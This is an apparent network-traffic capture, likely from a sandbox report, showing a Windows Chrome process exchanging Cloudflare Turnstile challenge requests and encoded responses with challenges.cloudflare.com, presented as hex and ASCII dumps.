2024-12-09 23:06:49 UTC	330	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 23:06:49 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 26252 Connection: close cf-chl-gen: OLi8T8UngAuKAj/HgDTV/vzwmUjnlKbEJeQEirqoYw0iEfJ1VPWQHYxjSw4jLiisLy1JVmZw/TQUtmCc$jZTmzlzQtCBNf2U9 Server: cloudflare CF-RAY: 8ef8a5d858d54315-EWR alt-svc: h3=":443"; ma=86400
2024-12-09 23:06:49 UTC	1039	IN	Data Raw: 72 6e 32 52 6e 61 4b 72 76 34 4f 38 6e 73 69 61 77 71 75 6b 7a 73 58 4d 6c 4e 4b 78 6b 71 33 57 74 65 43 34 6e 4d 72 6b 33 37 6e 43 75 74 62 63 32 75 44 58 37 73 6d 38 77 4b 33 48 35 4b 61 73 37 4f 58 49 79 76 6e 50 73 74 44 35 36 62 72 4f 42 50 7a 64 32 64 4c 46 32 76 50 72 2f 4f 6b 41 36 2b 6e 72 2b 77 33 63 35 39 51 57 41 75 66 6f 31 68 49 54 33 4e 33 38 38 4f 45 50 47 65 54 63 47 52 55 6f 48 75 45 6c 36 77 33 2b 4c 69 37 77 36 41 41 6f 39 42 6a 33 43 2f 63 46 38 52 6b 4b 45 41 67 51 41 67 4d 78 42 42 4d 51 46 30 67 38 41 6b 56 4c 54 68 34 2b 49 53 45 73 48 54 56 57 44 53 38 51 45 52 4a 4a 58 46 45 70 48 43 39 42 51 42 30 65 48 54 56 66 48 79 4d 32 4c 45 51 2b 62 79 38 76 52 33 4e 4b 51 45 4a 32 59 54 6c 4b 56 6c 64 54 64 47 77 79 62 6d 31 66 59 6b 4a Data Ascii: rn2RnaKrv4O8nsiawqukzsXMlNKxkq3WteC4nMrk37nCutbc2uDX7sm8wK3H5Kas7OXIyvnPstD56brOBPzd2dLF2vPr/OkA6+nr+w3c59QWAufo1hIT3N388OEPGeTcGRUoHuEl6w3+Li7w6AAo9Bj3C/cF8RkKEAgQAgMxBBMQF0g8AkVLTh4+ISEsHTVWDS8QERJJXFEpHC9BQB0eHTVfHyM2LEQ+by8vR3NKQEJ2YTlKVldTdGwybm1fYkJ
2024-12-09 23:06:49 UTC	1369	IN	Data Raw: 75 30 4c 58 48 6f 63 54 50 32 70 50 4b 76 37 47 78 76 62 36 61 73 4d 44 54 35 4a 2b 70 31 71 6d 6f 33 2b 66 4c 32 2b 6d 75 79 4f 75 79 37 2b 54 33 34 2f 75 78 78 64 58 4d 76 75 2f 33 33 37 2b 37 32 75 4c 6a 79 41 6a 38 79 63 76 34 37 38 6b 44 41 74 30 55 39 66 4d 47 43 65 4c 50 46 4f 54 76 46 2f 6b 54 32 68 48 2b 42 52 6b 6e 49 66 4c 6e 38 77 51 4d 2f 51 6e 32 36 42 30 71 43 65 55 70 2f 6a 4d 72 4b 51 73 61 39 66 73 53 50 7a 51 34 49 7a 45 66 45 6b 45 67 41 54 6b 64 52 45 6f 46 48 53 30 6f 50 45 4e 48 55 45 74 44 4a 45 42 42 54 69 63 78 44 31 67 72 55 44 31 5a 51 54 31 44 59 46 78 6f 4d 30 68 6b 4e 32 56 66 62 6b 46 44 54 30 41 74 50 32 74 6b 55 57 5a 70 57 57 63 34 63 32 64 38 57 32 46 4f 58 47 56 43 57 58 31 56 57 6d 63 2b 5a 48 74 37 62 6e 2b 41 54 6d Data Ascii: u0LXHocTP2pPKv7Gxvb6asMDT5J+p1qmo3+fL2+muyOuy7+T34/uxxdXMvu/337+72uLjyAj8ycv478kDAt0U9fMGCeLPFOTvF/kT2hH+BRknIfLn8wQM/Qn26B0qCeUp/jMrKQsa9fsSPzQ4IzEfEkEgATkdREoFHS0oPENHUEtDJEBBTicxD1grUD1ZQT1DYFxoM0hkN2VfbkFDT0AtP2tkUWZpWWc4c2d8W2FOXGVCWX1VWmc+ZHt7bn+ATm
2024-12-09 23:06:49 UTC	1369	IN	Data Raw: 73 37 32 75 7a 72 2f 52 73 74 2f 62 75 62 61 79 6d 63 57 66 76 39 75 73 37 61 36 2f 32 72 79 71 34 75 62 47 72 64 44 79 2b 4e 6e 4d 36 50 50 66 76 4e 7a 30 36 38 79 36 2b 41 44 55 31 2b 49 49 2b 63 4c 44 34 38 33 78 2f 4d 67 56 7a 78 50 32 30 75 7a 56 48 41 2f 6c 38 52 63 63 2f 52 62 68 2f 42 63 48 34 52 30 68 41 68 59 56 49 51 41 49 37 6a 49 6b 37 2b 55 53 41 43 51 4b 45 67 73 71 4a 54 7a 37 4f 69 38 4d 51 77 45 68 4d 6a 67 36 46 7a 30 44 53 6a 6f 71 48 44 38 66 44 69 41 4f 4b 53 77 72 51 68 4d 7a 4e 6b 64 46 53 43 31 65 57 6b 45 32 50 46 5a 4e 47 46 5a 6b 4e 45 56 73 53 32 59 36 59 6a 39 6c 4b 7a 31 41 63 55 6c 6d 63 6e 56 6f 4d 6a 73 31 4f 33 6c 6f 50 58 4a 78 66 56 31 34 67 7a 35 42 69 56 4e 35 52 58 64 75 57 57 78 75 5a 33 4e 52 6c 6f 39 6e 6d 5a 70 Data Ascii: s72uzr/Rst/bubaymcWfv9us7a6/2ryq4ubGrdDy+NnM6PPfvNz068y6+ADU1+II+cLD483x/MgVzxP20uzVHA/l8Rcc/Rbh/BcH4R0hAhYVIQAI7jIk7+USACQKEgsqJTz7Oi8MQwEhMjg6Fz0DSjoqHD8fDiAOKSwrQhMzNkdFSC1eWkE2PFZNGFZkNEVsS2Y6Yj9lKz1AcUlmcnVoMjs1O3loPXJxfV14gz5BiVN5RXduWWxuZ3NRlo9nmZp
2024-12-09 23:06:49 UTC	1369	IN	Data Raw: 4d 4f 64 31 70 33 63 73 4d 58 63 32 4c 62 55 75 74 79 36 32 62 37 67 76 74 54 43 35 4d 4c 5a 78 75 6a 47 39 73 72 73 79 76 76 4b 79 76 54 51 35 4e 6a 38 32 2b 58 6c 44 66 66 39 44 74 72 50 38 4f 66 6c 79 73 76 74 39 73 72 5a 47 66 50 6b 43 2b 77 5a 2b 68 37 71 2f 74 7a 76 4a 4e 37 78 33 79 67 65 2b 4f 30 61 4c 76 6e 6a 46 41 72 7a 49 67 50 78 2b 43 59 4f 50 52 73 79 4c 54 55 77 44 52 77 45 4d 68 73 54 4f 53 6b 2f 47 43 4d 74 4c 6b 4d 66 48 52 74 42 4b 43 6f 66 50 79 55 74 52 30 5a 4f 4b 6a 4a 53 57 7a 4d 35 4f 6c 38 76 56 47 52 48 4b 56 64 64 4e 43 68 42 55 46 6c 77 4b 6c 4a 46 53 47 70 52 4e 30 68 73 56 45 78 71 52 6c 39 57 66 6e 68 64 54 46 78 42 5a 56 5a 31 53 6c 35 72 57 6d 56 35 59 57 64 49 59 6e 4b 41 55 6d 4e 73 59 31 4b 61 64 59 2b 50 6b 6e 47 58 Data Ascii: MOd1p3csMXc2LbUuty62b7gvtTC5MLZxujG9srsyvvKyvTQ5Nj82+XlDff9DtrP8Oflysvt9srZGfPkC+wZ+h7q/tzvJN7x3yge+O0aLvnjFArzIgPx+CYOPRsyLTUwDRwEMhsTOSk/GCMtLkMfHRtBKCofPyUtR0ZOKjJSWzM5Ol8vVGRHKVddNChBUFlwKlJFSGpRN0hsVExqRl9WfnhdTFxBZVZ1Sl5rWmV5YWdIYnKAUmNsY1KadY+PknGX
2024-12-09 23:06:49 UTC	1369	IN	Data Raw: 50 67 31 73 66 6a 70 4d 54 70 7a 71 66 45 73 4e 37 66 77 66 6a 41 75 50 4b 78 30 4d 58 52 30 65 6a 70 7a 2b 44 38 34 76 6e 48 41 65 6a 6e 2f 76 6a 72 78 75 73 51 30 4f 7a 53 46 73 38 54 7a 73 72 30 45 75 33 33 43 74 6a 58 37 66 76 35 2f 50 49 41 49 79 6a 61 47 74 77 64 35 79 59 6d 48 79 4d 49 2f 69 4d 64 41 2f 59 6d 41 51 34 75 4f 66 4d 52 48 78 49 5a 47 52 49 4f 47 54 35 44 51 42 55 67 49 52 31 4d 44 52 67 62 44 52 31 54 45 79 45 57 49 51 34 51 4c 6b 6b 54 55 53 59 71 4e 78 73 69 4c 46 70 64 4d 7a 46 69 59 6a 49 30 53 45 63 35 4f 57 70 70 50 6a 34 38 50 54 35 42 63 6d 68 4e 65 6c 63 34 52 6c 6b 2f 67 6b 35 77 65 6e 35 57 55 47 43 4a 58 47 5a 59 69 6d 46 70 69 55 78 66 6b 6d 52 32 61 48 46 58 6c 6d 78 31 6d 6f 5a 76 61 48 69 61 64 6e 71 61 66 6e 6c 77 66 Data Ascii: Pg1sfjpMTpzqfEsN7fwfjAuPKx0MXR0ejpz+D84vnHAejn/vjrxusQ0OzSFs8Tzsr0Eu33CtjX7fv5/PIAIyjaGtwd5yYmHyMI/iMdA/YmAQ4uOfMRHxIZGRIOGT5DQBUgIR1MDRgbDR1TEyEWIQ4QLkkTUSYqNxsiLFpdMzFiYjI0SEc5OWppPj48PT5BcmhNelc4Rlk/gk5wen5WUGCJXGZYimFpiUxfkmR2aHFXlmx1moZvaHiadnqafnlwf
2024-12-09 23:06:49 UTC	1369	IN	Data Raw: 73 70 36 50 68 76 38 71 2b 72 62 4c 47 71 2b 69 36 30 63 2f 39 78 39 47 7a 38 76 33 62 7a 73 37 6b 34 4e 48 58 32 4e 62 70 32 51 4c 4e 35 68 51 53 33 4f 34 4a 39 39 58 76 35 66 54 6b 39 41 33 6e 31 75 45 57 39 2b 54 7a 33 41 50 6c 39 51 50 6d 2b 77 6b 64 47 65 33 38 4d 65 6f 75 41 76 34 74 39 51 77 35 2b 67 6b 48 48 41 6a 38 47 68 34 39 42 41 34 53 41 2f 6f 66 50 51 63 4c 49 78 77 64 47 79 34 71 4e 54 41 74 4d 46 55 51 44 45 6f 6f 4d 79 63 57 47 79 38 55 55 53 4d 36 4f 47 59 77 4f 68 78 62 5a 6b 51 33 4e 30 31 4a 4f 6a 34 76 4a 30 78 53 63 54 68 51 62 48 49 30 57 6c 75 42 4f 6c 36 45 4f 32 35 47 58 6e 35 69 56 58 6c 33 59 31 65 4d 68 6d 68 64 62 59 35 74 59 49 53 4f 6b 6d 57 5a 64 47 70 36 5a 32 68 54 65 5a 53 46 63 33 75 59 70 57 69 41 68 71 4e 31 69 6f Data Ascii: sp6Phv8q+rbLGq+i60c/9x9Gz8v3bzs7k4NHX2Nbp2QLN5hQS3O4J99Xv5fTk9A3n1uEW9+Tz3APl9QPm+wkdGe38MeouAv4t9Qw5+gkHHAj8Gh49BA4SA/ofPQcLIxwdGy4qNTAtMFUQDEooMycWGy8UUSM6OGYwOhxbZkQ3N01JOj4vJ0xScThQbHI0WluBOl6EO25GXn5iVXl3Y1eMhmhdbY5tYISOkmWZdGp6Z2hTeZSFc3uYpWiAhqN1io
2024-12-09 23:06:49 UTC	1369	IN	Data Raw: 77 65 62 4d 7a 39 62 49 78 4e 4c 76 33 37 6e 58 33 66 47 38 32 2b 49 47 78 64 2f 6c 39 63 62 6a 32 51 62 4a 35 78 54 76 7a 2f 44 68 44 73 2f 75 39 66 7a 6c 38 76 6b 41 32 2f 63 6b 44 2f 6a 37 47 42 4c 6d 41 50 55 46 39 41 4d 4c 2b 2b 30 49 44 7a 4c 78 44 67 49 75 38 78 41 38 4b 76 6b 54 43 6a 4c 38 48 51 34 2b 41 68 73 6a 46 41 4d 67 54 44 73 56 4a 42 6f 2f 4a 53 68 55 54 67 77 72 4d 6b 49 53 4c 79 5a 47 46 7a 51 37 58 68 38 33 50 6c 59 65 50 44 4a 49 49 55 49 32 58 69 64 4a 4f 6d 6f 71 53 44 35 69 4d 30 74 53 62 30 46 51 52 6c 56 52 55 30 70 76 53 6c 64 4f 59 44 39 63 59 31 52 45 59 6d 65 4b 53 6d 4f 51 62 45 68 6f 68 49 35 54 61 32 4a 78 62 57 39 6d 6c 6c 68 30 6b 4a 5a 62 64 36 53 65 58 49 46 79 68 47 52 2f 6e 58 68 6b 68 6e 71 51 62 59 65 6c 73 6d 36 Data Ascii: webMz9bIxNLv37nX3fG82+IGxd/l9cbj2QbJ5xTvz/DhDs/u9fzl8vkA2/ckD/j7GBLmAPUF9AML++0IDzLxDgIu8xA8KvkTCjL8HQ4+AhsjFAMgTDsVJBo/JShUTgwrMkISLyZGFzQ7Xh83PlYePDJIIUI2XidJOmoqSD5iM0tSb0FQRlVRU0pvSldOYD9cY1REYmeKSmOQbEhohI5Ta2JxbW9mllh0kJZbd6SeXIFyhGR/nXhkhnqQbYelsm6
2024-12-09 23:06:49 UTC	1369	IN	Data Raw: 4e 44 76 75 62 37 64 7a 4c 2f 59 32 2f 6e 54 39 4c 76 43 30 77 6e 6f 32 51 4c 4f 37 65 76 52 30 76 48 67 30 2b 7a 76 44 42 50 31 2b 4f 63 4f 34 4e 4d 57 36 79 45 42 38 66 54 32 2f 66 50 6e 42 66 37 6c 45 43 38 42 49 78 38 44 43 68 51 46 45 68 55 46 39 76 77 52 47 7a 34 38 47 52 31 44 47 52 6b 53 2f 6b 6f 6c 46 69 41 4e 41 45 49 59 55 53 30 64 46 43 34 78 49 69 67 5a 4c 6a 64 61 58 44 55 36 4b 54 55 32 4c 68 74 61 51 54 46 53 4b 52 78 65 4e 47 70 4a 4f 46 39 4b 4b 45 31 75 5a 6b 78 41 4c 7a 6b 73 62 6b 52 79 57 55 6c 36 63 6c 68 4d 50 46 35 68 55 59 4a 36 59 47 52 44 54 55 43 43 57 49 39 74 58 59 36 47 62 48 42 51 63 6e 56 6c 6c 6f 35 30 6a 6c 64 68 56 4a 5a 73 70 49 46 78 6f 70 71 41 6d 6d 53 47 69 58 6d 71 6f 6f 69 79 61 33 56 6f 71 6f 43 35 6c 59 57 32 Data Ascii: NDvub7dzL/Y2/nT9LvC0wno2QLO7evR0vHg0+zvDBP1+OcO4NMW6yEB8fT2/fPnBf7lEC8BIx8DChQFEhUF9vwRGz48GR1DGRkS/kolFiANAEIYUS0dFC4xIigZLjdaXDU6KTU2LhtaQTFSKRxeNGpJOF9KKE1uZkxALzksbkRyWUl6clhMPF5hUYJ6YGRDTUCCWI9tXY6GbHBQcnVllo50jldhVJZspIFxopqAmmSGiXmqooiya3VoqoC5lYW2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.5	49779	104.18.94.41	443	4292	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 23:06:51 UTC	599	OUT	GET /cdn-cgi/challenge-platform/h/g/flow/ov1/1335793016:1733771998:3avIQcPy4EiUdg7zUMFs2C6dHrRFD8w5Dr-egB8X9SQ/8ef8a58f8fb7c32b/9PRLONVT86JiwqOL7iNrcfSin_PHVCgLbzXLm9aB8P8-1733785597-1.1.1.1-BVJzqMD9YxGleexvl7UQj309yu0VcJNDJcs22pQh3nKZHYPtXVZ9..gI27CzUlx8 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-09 23:06:51 UTC	379	IN	HTTP/1.1 404 Not Found Date: Mon, 09 Dec 2024 23:06:51 GMT Content-Type: application/json Content-Length: 7 Connection: close cf-chl-out: +WIEpadEXdYZWPD9F4m9iy9EZzA2gGrSC/M=$988emW2g7vokBDRR cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 8ef8a5e6d94ac339-EWR alt-svc: h3=":443"; ma=86400
2024-12-09 23:06:51 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.5	49799	104.18.95.41	443	4292	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 23:06:59 UTC	1172	OUT	POST /cdn-cgi/challenge-platform/h/g/flow/ov1/1335793016:1733771998:3avIQcPy4EiUdg7zUMFs2C6dHrRFD8w5Dr-egB8X9SQ/8ef8a58f8fb7c32b/9PRLONVT86JiwqOL7iNrcfSin_PHVCgLbzXLm9aB8P8-1733785597-1.1.1.1-BVJzqMD9YxGleexvl7UQj309yu0VcJNDJcs22pQh3nKZHYPtXVZ9..gI27CzUlx8 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 33729 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded CF-Chl-RetryAttempt: 0 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: 9PRLONVT86JiwqOL7iNrcfSin_PHVCgLbzXLm9aB8P8-1733785597-1.1.1.1-BVJzqMD9YxGleexvl7UQj309yu0VcJNDJcs22pQh3nKZHYPtXVZ9..gI27CzUlx8 sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/66847/0x4AAAAAAA0q5dJB-oRzPFUW/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-09 23:06:59 UTC	16384	OUT	Data Raw: 76 5f 38 65 66 38 61 35 38 66 38 66 62 37 63 33 32 62 3d 48 41 34 66 56 65 36 4d 73 65 73 7a 41 35 4d 33 43 70 35 5a 66 66 4e 66 30 78 63 6c 62 45 55 35 6e 48 35 6a 62 36 33 36 42 48 35 48 66 78 65 69 36 56 35 6a 78 64 4f 58 78 35 37 30 35 63 62 34 4a 43 35 30 72 59 66 66 35 67 66 64 7a 41 4e 30 34 62 65 65 35 4d 78 63 50 35 38 53 45 73 6c 35 58 62 65 72 35 63 6b 78 36 50 52 45 35 35 4d 35 6c 46 5a 37 35 77 46 66 36 24 35 38 70 66 58 78 50 4f 4b 78 35 72 35 36 70 70 6f 4b 55 35 48 73 66 72 36 34 35 6d 74 6b 72 6a 63 38 58 34 59 30 59 52 4b 53 58 35 65 33 6a 43 6b 64 53 66 6f 38 58 77 30 6b 72 7a 67 65 7a 52 55 24 41 72 6e 73 31 65 35 65 45 77 36 52 57 35 79 34 35 6c 67 2d 62 30 68 67 4d 49 33 4e 64 35 38 74 77 77 6a 34 6d 61 33 51 48 4c 78 43 59 73 37 58 Data Ascii: v_8ef8a58f8fb7c32b=HA4fVe6MseszA5M3Cp5ZffNf0xclbEU5nH5jb636BH5Hfxei6V5jxdOXx5705cb4JC50rYff5gfdzAN04bee5MxcP58SEsl5Xber5ckx6PRE55M5lFZ75wFf6$58pfXxPOKx5r56ppoKU5Hsfr645mtkrjc8X4Y0YRKSX5e3jCkdSfo8Xw0krzgezRU$Arns1e5eEw6RW5y45lg-b0hgMI3Nd58twwj4ma3QHLxCYs7X
2024-12-09 23:06:59 UTC	16384	OUT	Data Raw: 65 6f 35 75 35 30 35 2d 30 35 35 64 61 56 37 6a 35 63 73 35 31 30 30 35 74 6f 73 35 4d 4c 67 41 35 64 35 63 43 35 55 35 56 62 4a 4f 4a 62 35 38 35 63 32 31 32 76 78 35 6a 75 64 66 36 30 35 6c 35 64 30 35 7a 35 39 35 64 74 6a 45 35 45 73 4a 69 35 31 35 30 62 30 75 35 4e 4e 6d 62 45 68 62 75 35 6d 66 36 55 35 49 35 34 78 4a 43 36 53 35 4d 53 4a 55 36 77 35 48 78 64 30 35 2b 35 79 78 30 7a 35 73 35 45 66 63 35 36 6e 35 45 62 35 4d 35 67 35 4a 24 35 57 35 4b 66 36 78 36 72 66 32 35 30 35 35 55 36 79 35 4c 4d 63 35 36 4f 62 45 57 4a 67 36 4f 62 4d 66 36 72 66 39 73 6a 34 63 35 36 53 35 49 62 65 62 66 57 66 6a 66 64 41 63 45 35 79 31 30 59 35 63 35 30 62 65 43 65 6b 35 45 68 59 62 66 4c 35 42 66 52 72 66 37 35 4d 73 63 35 35 39 73 4c 78 52 30 63 36 35 67 66 79 Data Ascii: eo5u505-055daV7j5cs51005tos5MLgA5d5cC5U5VbJOJb585c212vx5judf605l5d05z595dtjE5EsJi5150b0u5NNmbEhbu5mf6U5I54xJC6S5MSJU6w5Hxd05+5yx0z5s5Efc56n5Eb5M5g5J$5W5Kf6x6rf25055U6y5LMc56ObEWJg6ObMf6rf9sj4c56S5IbebfWfjfdAcE5y10Y5c50beCek5EhYbfL5BfRrf75Msc559sLxR0c65gfy
2024-12-09 23:06:59 UTC	961	OUT	Data Raw: 64 72 6e 73 30 62 59 68 56 43 35 39 62 35 47 6f 57 31 69 78 4a 76 66 78 35 6a 51 50 6d 61 4e 54 33 59 73 61 76 4b 54 4a 51 42 61 76 35 32 34 79 51 41 35 76 37 4e 35 45 35 38 4f 39 41 50 6f 77 4a 69 35 4e 33 4a 4f 42 55 69 76 4b 75 63 65 6a 35 66 55 73 70 78 4c 35 36 35 32 73 36 45 41 64 76 33 4c 63 63 78 46 75 6e 64 61 56 78 70 4e 42 48 63 74 54 65 33 48 47 76 39 56 33 34 30 62 73 4b 66 4d 51 47 6f 63 6e 66 30 6c 37 6a 63 46 58 2d 66 65 38 6f 65 30 79 30 65 4b 66 6c 35 59 66 4f 66 36 2b 32 4e 65 7a 64 42 7a 52 33 4e 79 7a 53 33 75 7a 4e 34 77 31 57 66 52 4e 38 77 42 36 48 30 34 4a 77 42 64 4d 4f 4e 48 2d 42 47 4d 42 4e 44 47 42 45 35 4e 4e 79 47 42 63 4d 62 4b 47 69 31 75 35 6e 37 48 47 69 4a 35 6f 44 57 64 31 6a 4d 74 72 32 64 42 68 35 2d 72 4f 43 36 74 Data Ascii: drns0bYhVC59b5GoW1ixJvfx5jQPmaNT3YsavKTJQBav524yQA5v7N5E58O9APowJi5N3JOBUivKucej5fUspxL5652s6EAdv3LccxFundaVxpNBHctTe3HGv9V340bsKfMQGocnf0l7jcFX-fe8oe0y0eKfl5YfOf6+2NezdBzR3NyzS3uzN4w1WfRN8wB6H04JwBdMONH-BGMBNDGBE5NNyGBcMbKGi1u5n7HGiJ5oDWd1jMtr2dBh5-rOC6t
2024-12-09 23:07:00 UTC	1312	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 23:07:00 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4576 Connection: close cf-chl-out-s: UARnFJoLTHRftfQ4TmNCTooXGqNSVy3EpTxv7bTZYYqk7QEJDt38ePa4ismZ3GuMff23S9BEmS4W6FzTrDoxIwKXAvTzuViMbWQouDrD0UVuDNWubk/pztaucG13Dl71AvR9neBv0c0b+ADcgrv06+wEoiSxvTLoTq8jGwoSyATULjZ57rAoIX/jZjsCOCC6QI4X6HEtbeLjdefi8fHUI698cO9wRZL011EPfEFNqAP9shY0Qyt61EuTCoul5uWpolIi/3Ylul90pBJU2Z1oK+7XIJXVkkZt3gGiBb4BvmJpa017EFyddMER5jNDHXskw+V61zsWaxwikUeSd76tV0KE6+XQ86PGtDyKkiOg6aurX4MdlvXxx2J26mMV0ax6Jv6LYTVerrS16U5VBuiNRDvcAF3si/HJo1g03hR7TWDln8cQawkhnDRG+uPUzii+9VJhu09+wNQSJs/k9+fsaq43UWzHm2eXWCw4byiOXZLErPWyJBF/q3ynl2+CnkCe1rCbLN19kIdEDR3MLfkZUVCIoV//Nxy+mq9kTkFonUuXy5ReIU5CilX4WTrd53tnXrEvQ1kBuxHX+0tcV59Knrtv/p2juNdgy0E0JCXPI6gdedwiHQpt2PhzdU5pzaexHYj7H4FB2kQLUuYjR2qyh5SfBoKpsif9hodaDxUJWe2cbgffAsIDCb8heRQFGEJQsBPKLX4tcJG2vKzI4wMlG6ctE6rY8kTKyBS69NLQLNoPmS+ROMEPByXSnCps0sbh+vYmH7ZrmLx1xc2S4cr6NVGeqUJeMV/wfeseBxl0DXrCTyNdGIf7z63rFl1aGkfXz5X9O/yhUAr0mj5EFsrkJ6C6oHdRM03QxHl7Kqf4el/dSQ5B34Myt1S8fPuWM1Rn6T5JJSceqnjLtjdk2dtYhvDT7IsM+8Pn4REKGEOK93SkF2v23eLUn1eRIGKu7mC4nEvjr6XEQovLrxXsio9kY/nolM4zTwAJC8eMCsWQt+8sVuJzM4 [TRUNCATED]
2024-12-09 23:07:00 UTC	233	IN	Data Raw: 63 66 2d 63 68 6c 2d 6f 75 74 3a 20 58 78 6f 71 41 51 57 4e 75 56 36 31 32 44 5a 67 45 77 38 66 64 69 76 71 58 50 77 73 6a 4d 5a 53 61 4f 31 7a 35 58 56 47 75 4e 74 77 46 38 2b 7a 48 63 6d 49 32 33 30 49 64 34 47 2f 74 77 37 34 6a 5a 4f 55 34 78 46 49 6f 77 59 78 6e 49 41 6c 6c 35 4c 41 64 48 2f 36 6f 46 35 55 37 63 7a 37 31 79 39 76 59 76 37 43 47 72 36 62 71 6a 59 34 4d 50 4d 57 53 58 59 3d 24 2b 2f 72 5a 56 6a 49 41 2f 54 4e 50 49 2b 57 51 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 65 66 38 61 36 31 63 32 38 30 36 34 33 61 64 2d 45 57 52 0d 0a 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 0d 0a Data Ascii: cf-chl-out: XxoqAQWNuV612DZgEw8fdivqXPwsjMZSaO1z5XVGuNtwF8+zHcmI230Id4G/tw74jZOU4xFIowYxnIAll5LAdH/6oF5U7cz71y9vYv7CGr6bqjY4MPMWSXY=$+/rZVjIA/TNPI+WQServer: cloudflareCF-RAY: 8ef8a61c280643ad-EWRalt-svc: h3=":443"; ma=86400
2024-12-09 23:07:00 UTC	1193	IN	Data Raw: 72 6e 32 52 6e 61 4b 72 76 34 4f 38 6e 73 69 61 77 71 75 6b 7a 73 58 4d 78 37 4f 36 75 4b 57 6d 71 72 4c 4f 31 4e 4c 59 7a 37 32 2b 78 4c 69 70 76 39 33 73 70 4f 54 64 77 4d 4f 73 73 76 48 44 73 4c 62 31 30 66 76 51 73 74 54 36 30 74 6e 56 7a 73 48 57 38 76 44 53 2b 77 48 79 36 4d 4d 43 79 4f 4c 59 36 38 54 39 41 74 34 53 36 67 58 52 47 76 48 71 31 50 58 32 37 66 76 35 38 2f 33 62 46 65 45 47 32 2b 44 35 46 67 67 73 39 79 73 43 2b 7a 4d 53 42 53 51 47 4a 68 51 34 4f 6a 72 7a 43 42 67 36 41 41 4d 6a 52 44 6a 39 51 55 4d 64 43 79 51 6c 51 42 63 39 43 77 6f 4a 55 6a 45 69 4d 7a 4d 6f 56 78 55 38 50 45 31 64 48 68 39 65 56 69 39 65 47 45 4d 67 50 57 67 34 59 6c 31 62 58 6b 78 72 4c 6b 77 77 62 45 4a 59 51 58 68 50 4e 46 56 31 50 48 35 71 58 54 39 4f 64 57 4a Data Ascii: rn2RnaKrv4O8nsiawqukzsXMx7O6uKWmqrLO1NLYz72+xLipv93spOTdwMOssvHDsLb10fvQstT60tnVzsHW8vDS+wHy6MMCyOLY68T9At4S6gXRGvHq1PX27fv58/3bFeEG2+D5Fggs9ysC+zMSBSQGJhQ4OjrzCBg6AAMjRDj9QUMdCyQlQBc9CwoJUjEiMzMoVxU8PE1dHh9eVi9eGEMgPWg4Yl1bXkxrLkwwbEJYQXhPNFV1PH5qXT9OdWJ
2024-12-09 23:07:00 UTC	1369	IN	Data Raw: 54 52 4a 4e 67 6b 46 42 6b 70 52 51 55 38 6c 49 30 74 57 43 55 6b 76 47 46 63 57 4b 6c 77 31 56 56 41 64 52 45 4e 6a 59 31 38 32 52 53 68 6b 61 54 63 71 4c 6d 56 77 4c 46 51 75 5a 6a 4e 68 56 33 59 32 55 54 5a 6f 65 32 71 41 4e 7a 35 43 54 33 56 44 63 55 56 34 53 58 52 31 65 55 70 46 57 34 35 4f 55 31 39 72 6c 56 65 41 64 5a 5a 52 63 6c 52 64 64 58 4f 5a 59 49 39 7a 6c 36 65 6a 57 70 68 6b 6d 48 39 38 5a 59 56 74 61 61 71 64 6e 62 46 74 64 6f 65 4d 64 4b 57 78 73 48 69 56 72 5a 44 41 72 63 47 39 67 4b 69 47 74 49 53 4b 6c 35 76 4c 75 36 71 39 30 49 58 46 79 4d 75 71 6b 59 2b 57 77 39 47 6d 30 37 53 61 71 35 36 56 6f 74 54 6b 7a 37 37 56 70 62 2b 33 36 4f 48 5a 77 2b 62 78 73 73 72 6a 73 71 33 50 7a 4c 48 7a 7a 76 54 38 36 72 37 35 41 2b 33 54 41 67 4c 63 Data Ascii: TRJNgkFBkpRQU8lI0tWCUkvGFcWKlw1VVAdRENjY182RShkaTcqLmVwLFQuZjNhV3Y2UTZoe2qANz5CT3VDcUV4SXR1eUpFW45OU19rlVeAdZZRclRddXOZYI9zl6ejWphkmH98ZYVtaaqdnbFtdoeMdKWxsHiVrZDArcG9gKiGtISKl5vLu6q90IXFyMuqkY+Ww9Gm07Saq56VotTkz77Vpb+36OHZw+bxssrjsq3PzLHzzvT86r75A+3TAgLc
